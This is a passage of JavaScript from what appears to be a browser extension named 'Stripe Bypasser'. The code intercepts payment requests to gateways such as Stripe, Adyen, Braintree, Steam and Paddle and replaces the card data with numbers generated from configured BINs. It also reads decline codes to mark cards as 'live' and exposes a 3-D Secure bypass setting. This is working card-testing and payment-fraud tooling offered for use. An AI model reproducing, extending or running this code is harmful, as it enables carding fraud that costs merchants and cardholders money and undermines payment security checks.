      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "hipay"
    };
    if (typeof logEntry.status === "string") {
      const normalizedText = logEntry.status.toLowerCase();
      if (
        normalizedText === "declined" ||
        normalizedText === "refused" ||
        normalizedText === "error" ||
        normalizedText === "blocked"
      ) {
        if (logEntry.error && typeof logEntry.error === "object") {
          errorInfo.code = String(logEntry.error.code || logEntry.error.status || normalizedText);
          errorInfo.message =
            logEntry.error.message ||
            logEntry.error.description ||
            logEntry.message ||
            normalizedText;
          return errorInfo;
        }
        errorInfo.code = logEntry.code || logEntry.reason_code || normalizedText;
        errorInfo.message = logEntry.message || logEntry.reason || normalizedText;
        return errorInfo;
      }
    }
    const statusCode = Number(logEntry.status);
    if (statusCode >= 110 && statusCode <= 114) {
      errorInfo.code = logEntry.code || logEntry.reason_code || String(statusCode);
      errorInfo.message = logEntry.message || logEntry.reason || "Declined";
      return errorInfo;
    }
    if (logEntry.error && typeof logEntry.error === "object" && logEntry.error.code) {
      errorInfo.code = String(logEntry.error.code);
      errorInfo.message = logEntry.error.message || logEntry.error.description || "";
      return errorInfo;
    }
    if (logEntry.code && logEntry.message) {
      const numericErrorCode = Number(logEntry.code);
      if (
        (numericErrorCode >= 3000 && numericErrorCode <= 3999) ||
        (numericErrorCode >= 4000 && numericErrorCode <= 4999)
      ) {
        errorInfo.code = String(logEntry.code);
        errorInfo.message = logEntry.message || logEntry.description || "";
        return errorInfo;
      }
    }
    if (logEntry.transaction) {
      return extractHiPayDeclineCode(logEntry.transaction);
    }
    return null;
  }
  function extractSteamDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "steam"
    };
    if (logEntry.success === 2 || logEntry.success === false) {
      errorInfo.code =
        logEntry.purchase_result_details !== undefined
          ? String(logEntry.purchase_result_details)
          : logEntry.error_code || logEntry.errorcode || "declined";
      errorInfo.message =
        logEntry.message ||
        logEntry.error ||
        logEntry.purchase_result_details_message ||
        "Purchase declined";
      return errorInfo;
    }
    if (logEntry.purchase_status === "failed" || logEntry.purchase_status === "declined") {
      errorInfo.code = logEntry.error_code || logEntry.purchase_result_details || "declined";
      errorInfo.message = logEntry.error || logEntry.message || "Purchase failed";
      return errorInfo;
    }
    return null;
  }
  function extractXsollaDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "xsolla"
    };
    if (logEntry.error && typeof logEntry.error === "object") {
      errorInfo.code = logEntry.error.code || logEntry.error.type || "declined";
      errorInfo.message = logEntry.error.message || "";
      return errorInfo;
    }
    if (logEntry.error && typeof logEntry.error === "string") {
      errorInfo.code = logEntry.statusCode || logEntry.error;
      errorInfo.message = logEntry.error;
      return errorInfo;
    }
    if (logEntry.statusCode && logEntry.statusCode >= 400) {
      errorInfo.code = String(logEntry.statusCode);
      errorInfo.message = logEntry.message || logEntry.error_message || "Request failed";
      return errorInfo;
    }
    return null;
  }
  function extractEdfaPayDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "edfapay"
    };
    if (
      logEntry.result === "DECLINE" ||
      logEntry.result === "ERROR" ||
      logEntry.result === "DECLINED"
    ) {
      errorInfo.code =
        logEntry.error_code || logEntry.decline_reason || logEntry.result.toLowerCase();
      errorInfo.message = logEntry.error_message || logEntry.message || logEntry.result;
      return errorInfo;
    }
    if (
      logEntry.status === "DECLINE" ||
      logEntry.status === "DECLINED" ||
      logEntry.status === "ERROR"
    ) {
      errorInfo.code = logEntry.error_code || logEntry.code || logEntry.status.toLowerCase();
      errorInfo.message = logEntry.error_message || logEntry.message || "";
      return errorInfo;
    }
    return null;
  }
  function extractPaddleDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "paddle"
    };
    if (logEntry.error && typeof logEntry.error === "object") {
      errorInfo.code = logEntry.error.code || logEntry.error.type || "declined";
      errorInfo.message = logEntry.error.detail || logEntry.error.message || "";
      return errorInfo;
    }
    if (logEntry.errors && Array.isArray(logEntry.errors) && logEntry.errors.length > 0) {
      const firstError = logEntry.errors[0];
      errorInfo.code = firstError.code || firstError.type || "declined";
      errorInfo.message = firstError.detail || firstError.message || "";
      return errorInfo;
    }
    if (logEntry.status === "failed" || logEntry.status === "declined") {
      errorInfo.code = logEntry.error_code || logEntry.code || logEntry.status;
      errorInfo.message = logEntry.message || "";
      return errorInfo;
    }
    return null;
  }
  function extractGatewayDeclineCode(gatewayName, responseJson, rawResponseText) {
    if (!gatewayName) {
      return null;
    }
    const gateway = gatewayName.toLowerCase().replace(/[.\s-]/g, "");
    let payloadObject = null;
    switch (gateway) {
      case "stripe":
        payloadObject = extractDeclineCode(responseJson);
        break;
      case "adyen":
        payloadObject = extractAdyenDeclineCode(responseJson);
        break;
      case "checkoutcom":
      case "checkout":
        payloadObject = extractCheckoutComDeclineCode(responseJson);
        break;
      case "square":
        payloadObject = extractSquareDeclineCode(responseJson);
        break;
      case "braintree":
        payloadObject = extractBraintreeDeclineCode(responseJson);
        break;
      case "nordpay":
        payloadObject = extractNordPayDeclineCode(responseJson);
        break;
      case "hipay":
        payloadObject = extractHiPayDeclineCode(responseJson);
        break;
      case "steam":
        payloadObject = extractSteamDeclineCode(responseJson);
        break;
      case "xsolla":
        payloadObject = extractXsollaDeclineCode(responseJson);
        break;
      case "edfapay":
        payloadObject = extractEdfaPayDeclineCode(responseJson);
        break;
      case "paddle":
        payloadObject = extractPaddleDeclineCode(responseJson);
        break;
      default:
        payloadObject = (logEntry => {
          if (!logEntry || typeof logEntry !== "object") {
            return null;
          }
          const errorInfo = {
            code: null,
            message: "",
            gateway: "generic"
          };
          if (logEntry.error) {
            if (typeof logEntry.error === "object") {
              errorInfo.code =
                logEntry.error.code ||
                logEntry.error.decline_code ||
                logEntry.error.type ||
                "declined";
              errorInfo.message = logEntry.error.message || "";
              return errorInfo;
            }
            if (typeof logEntry.error === "string") {
              errorInfo.code = logEntry.error;
              errorInfo.message = logEntry.message || logEntry.error;
              return errorInfo;
            }
          }
          if (logEntry.errors && Array.isArray(logEntry.errors) && logEntry.errors.length > 0) {
            const firstError = logEntry.errors[0];
            errorInfo.code = firstError.code || firstError.type || "declined";
            errorInfo.message = firstError.message || firstError.detail || "";
            return errorInfo;
          }
          return null;
        })(responseJson);
    }
    if (!payloadObject && rawResponseText && typeof rawResponseText === "string") {
      payloadObject = ((responseText, gatewayName) => {
        if (!responseText) {
          return null;
        }
        const regexFieldDeclineList = [
          {
            regex: /"decline_code"\s*:\s*"([^"]+)"/i,
            field: "decline_code"
          },
          {
            regex: /"failure_code"\s*:\s*"([^"]+)"/i,
            field: "failure_code"
          },
          {
            regex: /"refusalReasonCode"\s*:\s*"?(\d+)"?/i,
            field: "refusalReasonCode"
          },
          {
            regex: /"refusalReason"\s*:\s*"([^"]+)"/i,
            field: "refusalReason"
          },
          {
            regex: /"response_code"\s*:\s*"?(\d+)"?/i,
            field: "response_code"
          },
          {
            regex: /"error_code"\s*:\s*"([^"]+)"/i,
            field: "error_code"
          },
          {
            regex: /"code"\s*:\s*"([^"]+)"/i,
            field: "code"
          }
        ];
        for (const { regex } of regexFieldDeclineList) {
          const match = responseText.match(regex);
          if (match && match[1]) {
            const messageMatch = responseText.match(
              /"(?:message|refusalReason|response_summary|error_message|detail)"\s*:\s*"([^"]+)"/i
            );
            return {
              code: match[1],
              message: messageMatch ? messageMatch[1] : "",
              gateway: gatewayName || "unknown"
            };
          }
        }
        return null;
      })(rawResponseText, gateway);
    }
    if (payloadObject && payloadObject.code) {
      payloadObject.gateway = gateway;
      payloadObject.isLive = isLiveDeclineCode(gateway, payloadObject.code);
      return payloadObject;
    }
    return null;
  }
  const stripeBypasserDeclineHandler = {
    extractDeclineCode,
    extractAdyenDeclineCode,
    extractCheckoutComDeclineCode,
    extractSquareDeclineCode,
    extractBraintreeDeclineCode,
    extractNordPayDeclineCode,
    extractHiPayDeclineCode,
    extractSteamDeclineCode,
    extractXsollaDeclineCode,
    extractEdfaPayDeclineCode,
    extractPaddleDeclineCode,
    extractGatewayDeclineCode,
    isLiveDeclineCode
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserDeclineHandler = stripeBypasserDeclineHandler;
  }
  const defaultSettings = {
    enabled: true,
    bin: "",
    cvcMode: "generate",
    customCvc: "",
    autoCvc: true,
    autoScreenshot: true,
    threeDSBypass: true
  };
  let currentSettings = defaultSettings;
  let settingsLoaded = false;
  function load(newSettings) {
    if (newSettings) {
      currentSettings = {
        ...currentSettings,
        ...newSettings
      };
      settingsLoaded = true;
      stripeBypasserLogger.log("Settings loaded", currentSettings);
      if (settingsReadyCallbacks && settingsReadyCallbacks.length > 0) {
        settingsReadyCallbacks.splice(0).forEach(item => item(currentSettings));
      }
      if (currentSettings.bin) {
        if (Array.isArray(currentSettings.bin)) {
          if (currentSettings.bin.length > 0 && typeof currentSettings.bin[0] === "string") {
            const stripeBypasserSettingsValue = currentSettings.bin[0];
            stripeBypasserSettingsValue.substring(
              0,
              Math.min(20, stripeBypasserSettingsValue.length)
            );
          }
        } else if (typeof currentSettings.bin === "string") {
          currentSettings.bin.substring(0, Math.min(20, currentSettings.bin.length));
        }
      }
      return true;
    }
    return false;
  }
  let settingsReadyCallbacks = [];
  function loadAsync(settingsAsyncCallback) {
    if (window.__STRIPE_BYPASSER_SETTINGS__) {
      load(window.__STRIPE_BYPASSER_SETTINGS__);
      if (settingsAsyncCallback) {
        settingsAsyncCallback();
      }
      return Promise.resolve(currentSettings);
    }
    return new Promise(resolve => {
      settingsReadyCallbacks.push(resolve);
      setTimeout(() => {
        if (window.__STRIPE_BYPASSER_SETTINGS__) {
          load(window.__STRIPE_BYPASSER_SETTINGS__);
        }
        if (settingsAsyncCallback) {
          settingsAsyncCallback();
        }
        resolve(currentSettings);
      }, 2000);
    });
  }
  function waitFor() {
    if (window.__STRIPE_BYPASSER_SETTINGS__ || currentSettings.enabled !== undefined) {
      if (window.__STRIPE_BYPASSER_SETTINGS__) {
        load(window.__STRIPE_BYPASSER_SETTINGS__);
      }
      return Promise.resolve(currentSettings);
    }
    return new Promise(resolve => {
      settingsReadyCallbacks.push(resolve);
      setTimeout(() => {
        if (window.__STRIPE_BYPASSER_SETTINGS__) {
          load(window.__STRIPE_BYPASSER_SETTINGS__);
        }
        resolve(currentSettings);
      }, 2000);
    });
  }
  function getSettings() {
    return {
      ...currentSettings
    };
  }
  function isLoaded() {
    return settingsLoaded;
  }
  function update(nextSettings) {
    currentSettings = {
      ...currentSettings,
      ...nextSettings
    };
    window.__STRIPE_BYPASSER_SETTINGS__ = currentSettings;
  }
  if (typeof window !== "undefined") {
    window.addEventListener("message", event => {
      if (event.data && event.data.type === "STRIPE_BYPASSER_SETTINGS") {
        if (event.data.settings) {
          update(event.data.settings);
        }
      } else if (
        event.data &&
        event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS" &&
        event.data.settings
      ) {
        window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = event.data.settings;
      }
    });
    window.addEventListener("stripeBypasserReloadSettings", () => {
      load(window.__STRIPE_BYPASSER_SETTINGS__);
    });
    if (typeof chrome !== "undefined" && chrome.storage && chrome.storage.onChanged) {
      chrome.storage.onChanged.addListener((changes, areaName) => {
        if (areaName === "local") {
          if (changes.bypasserSettings) {
            const updatedSettings = changes.bypasserSettings.newValue;
            if (updatedSettings) {
              update(updatedSettings);
              load(updatedSettings);
            }
          }
          if (changes.bypasserAdvancedSettings) {
            const advancedSettings = changes.bypasserAdvancedSettings.newValue;
            if (advancedSettings) {
              window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = advancedSettings;
              window.dispatchEvent(
                new CustomEvent("stripeBypasserAdvancedSettingsUpdated", {
                  detail: {
                    settings: advancedSettings
                  }
                })
              );
            }
          }
        }
      });
    }
    load(window.__STRIPE_BYPASSER_SETTINGS__);
    window.StripeBypasserSettings = {
      get: getSettings,
      load,
      loadAsync,
      update,
      waitFor,
      isLoaded
    };
  }
  function getActiveBypasserSettings(defaultSettings = null) {
    if (typeof window === "undefined") {
      return defaultSettings;
    }
    if (window.StripeBypasserSettings && typeof window.StripeBypasserSettings.get === "function") {
      return window.StripeBypasserSettings.get();
    }
    if (window.__STRIPE_BYPASSER_SETTINGS__) {
      return window.__STRIPE_BYPASSER_SETTINGS__;
    }
    return defaultSettings;
  }
  function getAvailableCardGenerator() {
    const windowCardGenerator =
      typeof window !== "undefined" ? window.StripeBypasserCardGenerator : null;
    if (windowCardGenerator?.parseBin && windowCardGenerator?.generateCard) {
      return windowCardGenerator;
    }
    const globalCardGenerator =
      typeof globalThis !== "undefined" ? globalThis.StripeBypasserCardGenerator : null;
    if (globalCardGenerator?.parseBin && globalCardGenerator?.generateCard) {
      return globalCardGenerator;
    }
    return null;
  }
  function serializeRequestBodyValue(body) {
    if (typeof body === "string") {
      return body;
    }
    if (body instanceof URLSearchParams) {
      return body.toString();
    }
    if (body && typeof body === "object") {
      return JSON.stringify(body);
    }
    return String(body);
  }
  function isStructuredJsonBody(body) {
    return (
      !!body &&
      typeof body === "object" &&
      !(body instanceof FormData) &&
      !(body instanceof URLSearchParams)
    );
  }
  function serializeBodyForInspection(body) {
    if (typeof body === "string") {
      return body;
    }
    if (body instanceof URLSearchParams) {
      return body.toString();
    }
    if (isStructuredJsonBody(body)) {
      try {
        return JSON.stringify(body);
      } catch (error) {
        return String(body);
      }
    }
    return String(body ?? "");
  }
  function normalizeRequestUrlForFingerprint(requestUrl) {
    try {
      if (!requestUrl || typeof requestUrl !== "string") {
        return "";
      }
      if (requestUrl.startsWith("http://") || requestUrl.startsWith("https://")) {
        const parsedUrl = new URL(requestUrl);
        return parsedUrl.protocol + "//" + parsedUrl.host + parsedUrl.pathname;
      }
      if (typeof window !== "undefined" && window.location?.origin) {
        const parsedUrl = new URL(requestUrl, window.location.origin);
        return parsedUrl.protocol + "//" + parsedUrl.host + parsedUrl.pathname;
      }
      const [pathOnly] = requestUrl.split("?");
      return pathOnly;
    } catch (error) {
      return typeof requestUrl === "string" ? requestUrl.split("?")[0] : "";
    }
  }
  function createGatewayRequestFingerprint(requestUrl, requestBody = null) {
    const normalizedUrl = normalizeRequestUrlForFingerprint(requestUrl);
    if (normalizedUrl) {
      return normalizedUrl + "|";
    }
    return (
      (requestUrl && typeof requestUrl === "string" ? requestUrl.substring(0, 100) : "") +
      "|" +
      (requestBody && typeof requestBody === "string" ? requestBody.substring(0, 100) : "obj")
    );
  }
  function shouldSkipRecentGatewayRequest(namespace, requestFingerprint, ttlMs = 15000) {
    if (!requestFingerprint) {
      return false;
    }
    return checkDuplicate(namespace, requestFingerprint, {
      ttl: ttlMs,
      maxSize: 100
    });
  }
  function parseConfiguredBinList(settings) {
    try {
      if (Array.isArray(settings?.bin)) {
        return settings.bin
          .filter(item => item && typeof item === "string")
          .map(item => item.trim())
          .filter(item => item.length > 0);
      }
      if (settings?.bin && typeof settings.bin === "string") {
        return settings.bin
          .split("\n")
          .map(item => item.trim())
          .filter(item => item.length > 0);
      }
    } catch (error) {
      return [];
    }
    return [];
  }
  function ensureWindowState(stateKey, defaultState) {
    if (typeof window === "undefined") {
      return {
        ...defaultState
      };
    }
    window[stateKey] ||= {
      ...defaultState
    };
    return window[stateKey];
  }
  function waitForCardGenerator(timeoutMs = 300, pollMs = 10) {
    const waitStartAt = Date.now();
    let stripeBypasserCardGenerator = getAvailableCardGenerator();
    while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < timeoutMs) {
      const waitUntil = Date.now() + pollMs;
      while (Date.now() < waitUntil);
      stripeBypasserCardGenerator = getAvailableCardGenerator();
    }
    if (
      stripeBypasserCardGenerator &&
      typeof window !== "undefined" &&
      !window.StripeBypasserCardGenerator
    ) {
      window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
    }
    return stripeBypasserCardGenerator;
  }
  function generateGatewayCard(settings, { gatewayLabel, rotationStateKey }) {
    const binList = parseConfiguredBinList(settings);
    if (binList.length === 0) {
      stripeBypasserLogger?.warn("[" + gatewayLabel + "] No BINs configured");
      return null;
    }
    const rotationState = ensureWindowState(rotationStateKey, {
      currentIndex: 0,
      lastResetTime: Date.now()
    });
    let currentIndex = rotationState.currentIndex || 0;
    let stripeBypasserCardGenerator = waitForCardGenerator();
    if (!stripeBypasserCardGenerator?.parseBin || !stripeBypasserCardGenerator?.generateCard) {
      stripeBypasserLogger?.error("[" + gatewayLabel + "] CardGenerator not available");
      return null;
    }
    for (let attempts = 0; attempts < binList.length; attempts++) {
      try {
        const currentBinPattern = binList[currentIndex % binList.length];
        if (!stripeBypasserCardGenerator?.parseBin || !stripeBypasserCardGenerator?.generateCard) {
          stripeBypasserCardGenerator = getAvailableCardGenerator();
        }
        if (!stripeBypasserCardGenerator?.parseBin || !stripeBypasserCardGenerator?.generateCard) {
          stripeBypasserLogger?.error(
            "[" + gatewayLabel + "] CardGenerator lost during generation"
          );
          return null;
        }
        const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
        if (!binMetadata) {
          currentIndex++;
          continue;
        }
        const generatedCard = stripeBypasserCardGenerator.generateCard(
          binMetadata,
          settings?.cvcMode === "generate"
        );
        if (generatedCard && settings?.cvcMode === "custom" && settings?.customCvc) {
          generatedCard.cvc = settings.customCvc;
        }
        if (generatedCard) {
          rotationState.currentIndex = (currentIndex + 1) % binList.length;
          return {
            card: generatedCard,
            bin: currentBinPattern,
            binCount: binList.length,
            attempts: attempts + 1
          };
        }
        currentIndex++;
      } catch (error) {
        stripeBypasserLogger?.error("[" + gatewayLabel + "] Error generating card:", error);
        currentIndex++;
      }
    }
    return null;
  }
  function getGatewayPayloadReplaceFunction(functionName, waitMs = 0) {
    const deadline = Date.now() + waitMs;
    do {
      const replaceFunction = window?.StripeBypasserPayload?.[functionName];
      if (typeof replaceFunction === "function") {
        return replaceFunction;
      }
      if (waitMs <= 0) {
        break;
      }
      const waitUntil = Date.now() + 10;
      while (Date.now() < waitUntil);
    } while (Date.now() <= deadline);
    return null;
  }
  function replaceGatewayJsonBody(payload, replaceFunction, generatedCard, settings, options = {}) {
    try {
      const originalBody = payload?.body;
      const shouldParseResult = options.parseStructuredResult === true;
      const structuredBody = isStructuredJsonBody(originalBody);
      let serializedBody = "";
      if (typeof originalBody === "string") {
        serializedBody = originalBody;
      } else if (structuredBody) {
        serializedBody = JSON.stringify(originalBody);
      } else {
        serializedBody = String(originalBody ?? "");
      }
      const updatedBodyText = replaceFunction(serializedBody, generatedCard, settings);
      if (!updatedBodyText || updatedBodyText === serializedBody) {
        return {
          changed: false,
          body: originalBody,
          serializedBody,
          updatedBodyText
        };
      }
      let nextBody = updatedBodyText;
      if (structuredBody && shouldParseResult) {
        nextBody = JSON.parse(updatedBodyText);
      }
      return {
        changed: true,
        body: nextBody,
        serializedBody,
        updatedBodyText
      };
    } catch (error) {
      stripeBypasserLogger?.error(
        options.loggerLabel || "[GatewayHandler] Failed to replace gateway body",
        error
      );
      return null;
    }
  }
  function buildGatewayCardLogString(cardData, cvcMode) {
    const formattedCard = format(cardData);
    if (!formattedCard) {
      return "";
    }
    return cvcMode === "remove" ? formattedCard.split("|").slice(0, 3).join("|") : formattedCard;
  }
  function emitGatewayPaymentLog(message) {
    if (typeof window !== "undefined" && window.postMessage) {
      window.postMessage(
        {
          type: "STRIPE_BYPASSER_PAYMENT_LOG",
          message,
          logType: "info"
        },
        "*"
      );
    }
    if (typeof document !== "undefined" && document?.dispatchEvent) {
      document.dispatchEvent(
        new CustomEvent("stripeBypasserPaymentLog", {
          detail: {
            type: "STRIPE_BYPASSER_PAYMENT_LOG",
            message,
            logType: "info"
          }
        })
      );
    }
  }
  function persistGeneratedCardArtifacts({
    gatewayLabel,
    storageNamespaces = [],
    cardData,
    cvcMode,
    cardBrand,
    loggerLabel = "[GatewayHandler]"
  }) {
    try {
      if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
        const storedCardTask = window.StripeBypasserCardStorage.store(cardData);
        if (storedCardTask && typeof storedCardTask.then === "function") {
          storedCardTask.catch(asyncError => {
            stripeBypasserLogger?.error(loggerLabel + " Card storage error:", asyncError);
          });
        }
      }
    } catch (error) {
      stripeBypasserLogger?.error(loggerLabel + " Error storing card:", error);
    }
    const cardLogString = buildGatewayCardLogString(cardData, cvcMode);
    try {
      if (typeof window !== "undefined" && window.localStorage) {
        for (const namespace of storageNamespaces) {
          window.localStorage.setItem(namespace + "BypasserLastCardString", cardLogString);
          window.localStorage.setItem(namespace + "BypasserLastCard", JSON.stringify(cardData));
        }
      }
    } catch (error) {
      stripeBypasserLogger?.warn(loggerLabel + " Error persisting card snapshot:", error);
    }
    try {
      emitGatewayPaymentLog(gatewayLabel + ": " + cardLogString + " (" + cardBrand + ")");
    } catch (error) {
      stripeBypasserLogger?.error(loggerLabel + " Error logging card:", error);
    }
    return cardLogString;
  }
  function showGatewaySuccessBanner({
    domainFragment,
    title = "Card Generated & Sent",
    details = null,
    deferLocalBanner = true,
    loggerLabel = "[GatewayHandler]"
  }) {
    const isEmbeddedContext = typeof window !== "undefined" && window.top !== window.self;
    const isOnGatewayDomain =
      typeof window !== "undefined" &&
      !!window.location?.hostname &&
      window.location.hostname.includes(domainFragment);
    if (isEmbeddedContext || isOnGatewayDomain) {
      try {
        window.postMessage(
          {
            type: "STRIPE_BYPASSER_SHOW_BANNER",
            bannerText: title,
            bannerType: "success",
            details
          },
          "*"
        );
        return;
      } catch (error) {
        stripeBypasserLogger?.warn(loggerLabel + " Banner postMessage error:", error);
      }
    }
    if (typeof window !== "undefined" && window.createStripeBypassBanner) {
      const showBanner = () => {
        try {
          window.createStripeBypassBanner(title, "success", details);
        } catch (error) {
          stripeBypasserLogger?.warn(loggerLabel + " Banner error:", error);
        }
      };
      if (deferLocalBanner) {
        setTimeout(showBanner, 0);
      } else {
        showBanner();
      }
    }
  }
  function hasCheckoutComCardPayloadMarkers(bodyText) {
    const normalizedText = String(bodyText || "").toLowerCase();
    return (
      normalizedText.includes('"number"') ||
      normalizedText.includes('"expiry_month"') ||
      normalizedText.includes('"expiry_year"') ||
      normalizedText.includes('"cvv"') ||
      (normalizedText.includes("number") &&
        (normalizedText.includes("expiry") || normalizedText.includes("cvv")))
    );
  }
  function isCheckoutComMetadataRequest(requestUrl, bodyText) {
    const normalizedText = String(bodyText || "").toLowerCase();
    return (
      ((normalizedText.includes('"bin"') && !normalizedText.includes('"number"')) ||
        (normalizedText.includes('"data"') && normalizedText.includes('"timestamp"')) ||
        normalizedText.includes('"entity_id"') ||
        !!(
          requestUrl &&
          (requestUrl.includes("/card-metadata") || requestUrl.includes("/flow-web"))
        )) &&
      !hasCheckoutComCardPayloadMarkers(normalizedText)
    );
  }
  function isBraintreeTokenizeRequest(bodyText) {
    const normalizedText = String(bodyText || "");
    return (
      !!normalizedText &&
      (normalizedText.includes("TokenizeCreditCard") ||
        normalizedText.includes("tokenizeCreditCard")) &&
      normalizedText.includes("creditCard") &&
      !normalizedText.includes("clientConfiguration") &&
      !normalizedText.includes("ClientConfiguration") &&
      !normalizedText.includes("analytics") &&
      !normalizedText.includes("Analytics") &&
      !normalizedText.includes("session") &&
      !normalizedText.includes("Session")
    );
  }
  const gatewayDetectionHelpers = {
    resolveEnabledSettings(settingsCandidate, loggerLabel = "[GatewayHandler]") {
      const resolvedSettings =
        settingsCandidate ||
        getActiveBypasserSettings({
          enabled: false
        });
      if (!resolvedSettings?.enabled) {
        stripeBypasserLogger?.warn(loggerLabel + " Extension disabled or settings not enabled");
        return null;
      }
      return resolvedSettings;
    },
    buildRequestContext(payload) {
      const requestBodyText =
        payload && Object.prototype.hasOwnProperty.call(payload, "body")
          ? serializeBodyForInspection(payload.body)
          : "";
      const requestFingerprint = createGatewayRequestFingerprint(
        payload?.url || "",
        requestBodyText
      );
      return {
        requestBodyText,
        requestFingerprint
      };
    },
    shouldSkipDuplicateRequest(namespace, requestFingerprint, options = {}) {
      if (!shouldSkipRecentGatewayRequest(namespace, requestFingerprint)) {
        return false;
      }
      const loggerLabel = options.loggerLabel || "[GatewayHandler]";
      if (options.consoleMessage) {
        logToConsole(options.consoleMessage);
      }
      const duplicateMessage =
        options.duplicateMessage ||
        "Request already processed recently, skipping duplicate card generation";
      const loggerMethod =
        stripeBypasserLogger?.[options.logLevel || "log"] || stripeBypasserLogger?.log;
      const duplicateDetails = options.includeFingerprint
        ? {
            key: requestFingerprint.substring(0, 100)
          }
        : null;
      if (loggerMethod) {
        if (duplicateDetails) {
          loggerMethod(loggerLabel + " " + duplicateMessage, duplicateDetails);
        } else {
          loggerMethod(loggerLabel + " " + duplicateMessage);
        }
      }
      return true;
    }
  };
  const gatewaySerializationHelpers = {
    replaceJsonBody({
      payload,
      replaceFunctionName,
      generatedCard,
      settings,
      waitMs = 0,
      parseStructuredResult = false,
      missingFunctionMessage,
      loggerLabel
    }) {
      const replaceFunction = getGatewayPayloadReplaceFunction(replaceFunctionName, waitMs);
      if (!replaceFunction) {
        stripeBypasserLogger?.error(
          missingFunctionMessage ||
            "[GatewayHandler] PayloadManipulator not available or replace function not found"
        );
        return null;
      }
      return replaceGatewayJsonBody(payload, replaceFunction, generatedCard, settings, {
        parseStructuredResult,
        loggerLabel
      });
    },
    applyJsonBodyReplacement(payload, bodyReplacement, contentType = "application/json") {
      if (!bodyReplacement?.changed) {
        return payload;
      }
      return {
        ...payload,
        body: bodyReplacement.body,
        headers: preserveHeaders(payload.headers, contentType)
      };
    }
  };
  const gatewayLoggingHelpers = {
    logGeneratedCard({ loggerLabel, generatedCardResult, cardData, extraDetails = {} }) {
      stripeBypasserLogger?.log(loggerLabel + " Card generated successfully:", {
        bin: generatedCardResult?.bin,
        cardNumber: maskCardNumber(cardData?.number),
        ...extraDetails
      });
    },
    logBodyReplacementResult({
      loggerLabel,
      bodyReplacement,
      successMessage = "Payload modified successfully",
      removalMarker = null
    }) {
      if (!bodyReplacement) {
        return;
      }
      if (bodyReplacement.changed) {
        const payloadDetails = {
          originalLength: bodyReplacement.serializedBody.length,
          modifiedLength: bodyReplacement.updatedBodyText.length
        };
        if (removalMarker) {
          payloadDetails.cvcRemoved =
            bodyReplacement.serializedBody.includes(removalMarker) &&
            !bodyReplacement.updatedBodyText.includes(removalMarker);
        }
        stripeBypasserLogger?.log(loggerLabel + " " + successMessage, payloadDetails);
      } else {
        stripeBypasserLogger?.warn(loggerLabel + " Payload was not modified", {
          sameAsOriginal: true
        });
      }
    }
  };
  function getCaptchaProviderTaskType(captchaType, providerTaskTypes) {
    return providerTaskTypes[captchaType] || providerTaskTypes.default;
  }
  function getHiPayDetectionReason(detectionState) {
    if (detectionState.hasHiPayPayload) {
      return "✅ HiPay payload pattern detected!";
    }
    if (!detectionState.hasCardNumber) {
      return "Missing card_number";
    }
    if (!detectionState.hasExpiryMonth) {
      return "Missing card_expiry_month";
    }
    if (!detectionState.hasExpiryYear) {
      return "Missing card_expiry_year";
    }
    if (!detectionState.hasCardHolder && !detectionState.hasMultiUse) {
      return "Missing card_holder and multi_use";
    }
    return "URL pattern not matched";
  }
  function getHiPayStatusReason(state) {
    if (state.isUniversalHiPay) {
      return "HiPay detected";
    }
    if (state.isHiPayApi || state.isHiPay) {
      return state.isHiPayApi ? "HiPay payload not matched" : "HiPay URL not matched";
    }
    return "No HiPay URL or payload patterns detected";
  }
  function formatMinorUnitAmount(...amountCandidates) {
    for (const amountValue of amountCandidates) {
      if (typeof amountValue === "number" && Number.isFinite(amountValue)) {
        return (amountValue / 100).toFixed(2);
      }
    }
    return null;
  }
  let bannerPerfSettings = {
    reduceAnimations: false
  };
  function syncBannerPerformanceSettings() {
    if (window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
      bannerPerfSettings = {
        hardwareAcceleration:
          window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.hardwareAcceleration !== false,
        reduceAnimations: window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.reduceAnimations === true
      };
    }
  }
  syncBannerPerformanceSettings();
  if (typeof window !== "undefined") {
    window.addEventListener("message", event => {
      if (
        event.data &&
        event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS" &&
        event.data.settings
      ) {
        window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = event.data.settings;
        syncBannerPerformanceSettings();
      }
    });
  }
  const recentBannerTimestamps = new Map();
  const bannerDedupeCache = new Map();
  function isBannerRecentlyShown(bannerKey) {
    const now = Date.now();
    const lastShownAt = recentBannerTimestamps.get(bannerKey);
    if (lastShownAt && now - lastShownAt < 5000) {
      return true;
    }
    recentBannerTimestamps.set(bannerKey, now);
    if (recentBannerTimestamps.size > 30) {
      for (const [staleBannerKey, lastShownAt] of recentBannerTimestamps.entries()) {
        if (now - lastShownAt > 30000) {
          recentBannerTimestamps.delete(staleBannerKey);
        }
      }
    }
    return false;
  }
  const activeBannersMap = new Map();
  function relayoutBannerStack(bannerId) {
    activeBannersMap.delete(bannerId);
    let nextTopOffset = 20;
    const matchingElement = document.getElementById("deep-bypasser-version-banner");
    if (matchingElement) {
      try {
        const boundingRect = matchingElement.getBoundingClientRect();
        if (boundingRect.height > 0 && boundingRect.top < 60) {
          nextTopOffset = Math.max(nextTopOffset, boundingRect.bottom + 8);
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
    for (const [, activeBannerEntry] of activeBannersMap) {
      if (activeBannerEntry.element && activeBannerEntry.element.parentNode) {
